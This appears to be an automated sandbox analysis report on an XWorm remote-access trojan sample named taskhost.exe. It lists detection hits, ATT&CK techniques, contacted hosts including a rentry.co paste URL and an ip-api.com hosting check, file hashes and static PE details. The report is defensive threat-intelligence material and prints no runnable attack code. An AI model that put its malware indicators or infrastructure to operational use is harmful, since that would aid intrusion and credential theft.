Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: taskhost.exe, type: SAMPLE
Source: Yara match	File source: 0.0.taskhost.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1261092658.0000000000B02000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: taskhost.exe PID: 6504, type: MEMORYSTR

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: taskhost.exe, type: SAMPLE
Source: Yara match	File source: 0.0.taskhost.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1261092658.0000000000B02000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: taskhost.exe PID: 6504, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	11 Disable or Modify Tools	OS Credential Dumping	321 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	51 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	51 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Obfuscated Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	23 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
taskhost.exe	79%	ReversingLabs	Win32.Exploit.XWorm
taskhost.exe	100%	Avira	TR/Spy.Gen
taskhost.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://www.microsoft.V	0%	Avira URL Cloud	safe
http://crl.mP	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
rentry.co	104.26.2.16	true	false		high
ip-api.com	208.95.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://rentry.co/ue6sxoup/raw	false		high
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.microsoft.V	powershell.exe, 00000008.00000002.1461200995.000001C5AE48C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.1441756050.000001C5A5B84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1579727738.0000020410072000.00000004.00000800.00020000.00000000.sdmp	false		high
https://rentry.co/ue6sxoup/rawP	taskhost.exe, 00000000.00000002.2545878344.0000000002D41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.mP	powershell.exe, 0000000C.00000002.1598269735.0000020476C2D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000C.00000002.1504196016.0000020400229000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000008.00000002.1422033285.000001C595D39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1504196016.0000020400229000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000C.00000002.1504196016.0000020400229000.00000004.00000800.00020000.00000000.sdmp	false		high
https://rentry.co/	taskhost.exe, 00000000.00000002.2545878344.0000000002F0A000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E3B000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://rentry.co/static/icons/512.png	taskhost.exe, 00000000.00000002.2545878344.0000000002F0A000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E3B000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000008.00000002.1422033285.000001C595D39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1504196016.0000020400229000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000C.00000002.1579727738.0000020410072000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.1441756050.000001C5A5B84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1579727738.0000020410072000.00000004.00000800.00020000.00000000.sdmp	false		high
http://rentry.co	taskhost.exe, 00000000.00000002.2545878344.0000000002F0A000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E3B000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000003006000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E11000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.co	powershell.exe, 0000000C.00000002.1596432437.0000020476A70000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000C.00000002.1579727738.0000020410072000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ip-api.com	taskhost.exe, 00000000.00000002.2545878344.0000000002DFE000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002DE7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000C.00000002.1579727738.0000020410072000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000008.00000002.1422033285.000001C595B11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1504196016.0000020400001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://rentry.co/static/icons/270.png	taskhost.exe, 00000000.00000002.2545878344.0000000002F0A000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E3B000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	taskhost.exe, 00000000.00000002.2545878344.0000000002DE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1422033285.000001C595B11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1504196016.0000020400001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000C.00000002.1504196016.0000020400229000.00000004.00000800.00020000.00000000.sdmp	false		high
https://rentry.co	taskhost.exe, 00000000.00000002.2545878344.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
104.26.2.16	rentry.co	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574512
Start date and time:	2024-12-13 11:47:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	taskhost.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@7/9@2/2
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 98% Number of executed functions: 23 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.109.210.53
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7456 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7816 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: taskhost.exe

Simulations

Behavior and APIs

Time	Type	Description
05:48:36	API Interceptor	46x Sleep call for process: powershell.exe modified
07:26:51	API Interceptor	648488x Sleep call for process: taskhost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	jrockekcurje.exe	Get hash	malicious	Blackshades	Browse	ip-api.com/json/
	hbfgjhhesfd.exe	Get hash	malicious	Blackshades	Browse	ip-api.com/json/
	Uniswap Sniper Bot With GUI.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json
	K98766700.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	phost.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	sppawx.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	ahost.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	wsapx.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	WE8zqotCFj.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	ip-api.com/json/?fields=225545
	ozAxx9uGHu.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	ip-api.com/json/?fields=225545

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	jrockekcurje.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	hbfgjhhesfd.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	Uniswap Sniper Bot With GUI.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	K98766700.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	phost.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	sppawx.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	ahost.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	wsapx.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	WE8zqotCFj.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	208.95.112.1
	ozAxx9uGHu.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	208.95.112.1
rentry.co	file.ps1	Get hash	malicious	LummaC Stealer	Browse	104.26.3.16
	bUAmCazc.ps1	Get hash	malicious	LummaC Stealer	Browse	104.26.2.16
	IaslcsMo.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.75.40
	IaslcsMo.txt.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.75.40
	owuP726k3d.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.75.40
	gkzHdqfg.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.75.40
	xaSPJNbl.ps1	Get hash	malicious	LummaC	Browse	172.67.75.40
	Exploit Detector.bat	Get hash	malicious	Unknown	Browse	172.67.75.40
	MilwaukeeRivers.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.75.40
	http://www.thearchiterra.gr/	Get hash	malicious	Unknown	Browse	104.26.2.16

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://e.trustifi.com/#/fff2a6/34074b/38c75f/bf3fbd/0d1c47/12c665/f3cdcd/c1be48/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/d08b7b/9066d9/86c9f0/b1ff53/224fc1/c5dff5/a64e02/f00a15/3cdbea/a78615/4ddb76/30d9f7/98e1a2/9412cb/8e2651/8d4e63/9d313b/2f0213/ae3252/642e4a/6f0b2e/306b49/fd8e03/84bfef/0da4e6/6224c1/902b5e/e0d84c/badeba/3e52c1/94282a/975221/7a2e92/514659/ae5bab/957b7b/eb9e61/6942c6/d917d9/44a5ae/e58297/02048a/55f177/dca75c/c46e68/ac781c/5b787b/abcd53/568132/1d514a/5290de/d0b524/7d0cb6/e4e8bf/2ff215/1ddb69/add914/7674bb/dc5d9b/8fc829/561052/f5a816/40ee64/a0bcf5/b0cc13/8e70a5/255ef2/b24b8d/81e09f/4c70dd/5bbaa4/7ff26c/f1999b/4a2515/4a3a04/0a188e	Get hash	malicious	Unknown	Browse	104.17.25.14
	smb.ps1	Get hash	malicious	Xmrig	Browse	104.16.231.132
	file.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.35.43
	https://tanvu4275q8.wixsite.com/so/8cPEz8Djt/c?w=bJAUesZ8eZ2xWNc0NTHHsU2Nmh3l2WncU6sGxbkep9U.eyJ1IjoiaHR0cHM6Ly9mc2RqZmllZmlqcy5zaXRlLyIsInIiOiI0ODEzNDVjNy1iNDE0LTQwZDAtYjVlOS02NTQxMmJkNjgzMjAiLCJtIjoibWFpbCIsImMiOiJjYmUwODBjMy03ZjVkLTQxMDctOWFhMC05NGMxMmQzNGZhMGEifQ	Get hash	malicious	Unknown	Browse	104.21.96.76
	Uniswap Sniper Bot With GUI.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Uniswap Sniper Bot With GUI.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	secure.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	archive.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	chos.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
TUT-ASUS	jrockekcurje.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	hbfgjhhesfd.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	Uniswap Sniper Bot With GUI.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	K98766700.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	phost.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	sppawx.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	ahost.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	wsapx.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	WE8zqotCFj.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	208.95.112.1
	ozAxx9uGHu.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	208.95.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Loader.exe	Get hash	malicious	Quasar	Browse	104.26.2.16
	smb.ps1	Get hash	malicious	Xmrig	Browse	104.26.2.16
	j87MOFviv4.lnk	Get hash	malicious	Unknown	Browse	104.26.2.16
	DvGZE4FU02.lnk	Get hash	malicious	Unknown	Browse	104.26.2.16
	j3z5kxxt52.lnk	Get hash	malicious	Unknown	Browse	104.26.2.16
	zpbiw0htk6.lnk	Get hash	malicious	Unknown	Browse	104.26.2.16
	Uniswap Sniper Bot With GUI.exe	Get hash	malicious	Unknown	Browse	104.26.2.16
	Kopia%20p%C5%82atno%C5%9Bci_Santander_TF1903218545300000564290004.exe	Get hash	malicious	Unknown	Browse	104.26.2.16
	Kopia%20p%C5%82atno%C5%9Bci_Santander_TF1903218545300000564290004.exe	Get hash	malicious	Unknown	Browse	104.26.2.16
	archive.htm	Get hash	malicious	HTMLPhisher	Browse	104.26.2.16

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2h4qzczk.ehe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ssandi3.fnr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cdbcksok.hvs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qncwajxb.2ny.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u3uyyjfj.mch.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ucnag1jr.kpi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vgje4wqj.oc3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wcddv54a.qmm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.903833440110244
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	taskhost.exe
File size:	63'488 bytes
MD5:	3296704171fe01c0fc4fcdd02f2695ca
SHA1:	e0bd82f06d94c0e32d7f6bb9f80f57f8e73a84be
SHA256:	b8c65f4588d2d9b76823e7ad22b71a3717792a505a4048314cb2ccba9a976e26
SHA512:	8d1583be1930e1f819149a1a5b57ec5187b08eefe8dc306f6dc74506dd25c85a60b2b282c420060d1854c36fc8642f0754708fd87dd97ed19f2229c76334837b
SSDEEP:	1536:5Y+sUM6h2S7Uv/ecC4Q5tUWTbbIqml1gd6VOnuhQvxU5AZXep:Xh2S7qWckDTbsdmaOuhyeaOp
TLSH:	B7536B2877A94529E1FFAFF25DF17216D73AB2271803976F34C9428A0613E89CE412F5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g............................~.... ... ....@.. .......................`............@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x410d7e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x670BD8AB [Sun Oct 13 14:26:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
